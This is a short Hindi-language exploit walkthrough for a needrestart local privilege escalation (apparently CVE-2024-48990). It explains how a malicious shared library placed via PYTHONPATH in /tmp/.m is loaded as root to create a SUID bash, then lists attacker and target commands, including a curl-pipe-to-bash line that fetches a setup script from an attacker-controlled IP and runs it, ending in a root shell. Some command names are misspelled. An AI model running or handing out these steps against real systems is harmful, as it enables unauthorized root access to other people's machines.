
needsrestart setuid रूट शेल के लिए पूर्ण एक्सप्लॉइट
needrestart < 3.8 में PYTHONPATH इंजेक्शन के माध्यम से स्थानीय विशेषाधिकार वृद्धि।
/proc/[pid]/environ से PYTHONPATH=/tmp/.m पढ़ता हैPYTHONPATH के साथ Python को रूट के रूप में निष्पादित करता है/tmp/.m/importlib/__init__.so लोड करता है (हमारी दुर्भावनापूर्ण लाइब्रेरी)/tmp/rootbash पर SUID bash बनाता है/tmp/rootbash -p निष्पादित करेंमुख्य बिंदु: needrestart गैर-विशेषाधिकार प्राप्त प्रक्रियाओं से पर्यावरण चरों पर भरोसा करता है और उन्हें रूट के रूप में इंटरप्रिटर निष्पादित करते समय उपयोग करता है।
हमलावर:
./compile.sh
python3 -m http.server 8000
लक्ष्य:
curl -sf http://10.10.14.109:8000/setup_exploit.sh | bash -s 10.10.14.109 8000
cd /tmp/.m && PYTHONPATH=/tmp/.m python3 e.py
दूसरे टर्मिनल से निम्नलिखित चलाने पर e.py प्रक्रिया हैंग होकर रूट शेल स्पॉन कर देगी:
sudo needsrestard
पहला टर्मिनल रूट शेल शुरू करेगा।
Qualys थ्रेट रिसर्च यूनिट - CVE-2024-48990